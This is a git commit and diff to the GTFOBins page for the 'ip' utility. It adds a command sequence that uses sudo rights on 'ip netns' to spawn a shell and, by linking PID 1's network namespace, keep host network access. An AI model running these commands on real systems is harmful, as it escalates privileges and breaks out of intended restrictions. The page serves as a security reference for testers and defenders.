Update ip.md with to break out of restricted network namespace

Add command to allow access to interfaces in restricted namespace without affecting host networking

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>

_gtfobins/ip.md

@@ -24,4 +24,12 @@ functions:
         sudo ip netns add foo
         sudo ip netns exec foo /bin/sh
         sudo ip netns delete foo
+    - description: This only works for Linux with CONFIG_NET_NS=y. This version also grants network access.
+      code: |
+        sudo ip netns add foo
+        sudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
+        sudo ip netns exec bar /bin/sh
+        sudo ip netns delete foo
+        sudo ip netns delete bar
+
 ---